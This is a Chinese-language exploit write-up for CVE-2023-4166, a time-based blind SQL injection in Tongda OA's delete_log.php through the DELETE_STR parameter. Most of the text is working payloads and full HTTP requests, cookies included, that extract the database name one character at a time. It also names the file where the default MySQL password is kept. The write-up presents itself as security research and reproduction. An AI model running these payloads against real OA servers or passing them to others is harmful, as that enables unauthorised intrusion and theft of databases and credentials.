通达oa存在SQL注入漏洞(CVE-2023-4166)

声明：该分享的安全工具、漏洞复现和项目均来源于网络，仅供安全研究与学习之用，

如用于其他用途，由使用者承担全部法律及连带责任，与工具作者和本网站无关。

漏洞描述:

通达OA中发现一个漏洞，并被列为严重漏洞。该漏洞影响文件general/system/seal_manage/dianju/delete_log.php的未知代码。对参数 DELETE_STR 的操作会导致 sql 注入。该漏洞已向公众披露并可能被使用。升级到版本最新版本可以解决这个问题。建议升级受影响的组件。VDB-236182 是分配给此漏洞的标识符。

影响版本:

版本：v11.10或v2017之前

 本人测试的通达OA 11.7、11.10、MYOA2017版本下载链接如下:

https://cdndown.tongda2000.com/oa/2019/TDOA11.7.exe
https://cdndown.tongda2000.com/oa/2019/TDOA11.10.exe
https://xiazai.zol.com.cn/down.php?softid=528823&subcateid=1465&site=10&checkStr=0226e5060f5b65b00

下载之后直接下一步安装即可

到最后这步即安装成功，默认配置即可，如端口被暂用可更换一个其他端口

安装之后访问网页127.0.0.1如图表示安装成功

此时可以打开通达的安装目录查看源代码如图:

发现代码被使用Zend加密，可以使用工具进行解密

http://www.xsssql.com/wp-content/uploads/2023/08/Zend解密工具SeayDzend.zip

路径：general/system/seal_manage/dianju/delete_log.php

注入参数：$DELETE_STR

打开存在漏洞的源码如下:

以下有效载荷可以确定数据库名称的第一个字符是T，ascii 84也对应于大写字母T。这样，可以通过盲注入获得数据库名称和任何数据库信息。

测试poc如下(该语句用于检测数据库第一个字符):

1)%20and%20(substr(DATABASE(),1,1))=char(84)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1

当我们把84换成85延时如下:

1)%20and%20(substr(DATABASE(),1,1))=char(85)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1

连接数据库信息如图:

继续猜数据库第二位字符POC如下 ascii 68对应大写字母D:

GET /general/system/seal_manage/dianju/delete_log.php?DELETE_STR=1) and (substr(DATABASE(),2,1))=char(68) and (select count(*) from information_schema.columns A,information_schema.columns B) and(1)=(1 HTTP/1.1
Host: 192.168.8.187
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.8.187/general/index.php?isIE=0&modify_pwd=0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=4n867pmrrp4nendg0tsngl7g70; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c74d7ebb
Connection: close

换成69时延时如图

猜数据库第三位POC如下:

GET /general/system/seal_manage/dianju/delete_log.php?DELETE_STR=1) and (substr(DATABASE(),3,1))=char(95) and (select count(*) from information_schema.columns A,information_schema.columns B) and(1)=(1 HTTP/1.1
Host: 192.168.8.187
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.8.187/general/index.php?isIE=0&modify_pwd=0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=4n867pmrrp4nendg0tsngl7g70; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c74d7ebb
Connection: close

第4位POC如下:

GET /general/system/seal_manage/dianju/delete_log.php?DELETE_STR=1) and (substr(DATABASE(),4,1))=char(79) and (select count(*) from information_schema.columns A,information_schema.columns B) and(1)=(1 HTTP/1.1
Host: 192.168.8.187
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.8.187/general/index.php?isIE=0&modify_pwd=0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=4n867pmrrp4nendg0tsngl7g70; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c74d7ebb
Connection: close

第5位

GET /general/system/seal_manage/dianju/delete_log.php?DELETE_STR=1) and (substr(DATABASE(),5,1))=char(65) and (select count(*) from information_schema.columns A,information_schema.columns B) and(1)=(1 HTTP/1.1
Host: 192.168.8.187
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.8.187/general/index.php?isIE=0&modify_pwd=0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=4n867pmrrp4nendg0tsngl7g70; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c74d7ebb
Connection: close

猜解后对数据库名进行拼接为:TD_OA

另外通达OA安装后默认数据库密码位置为（每台机器的密码均不一样为随机生成的密码）:

通达安装目录/mysql5/my.ini

打开之后用记事本查看配置项password=即可，默认端口为3336

​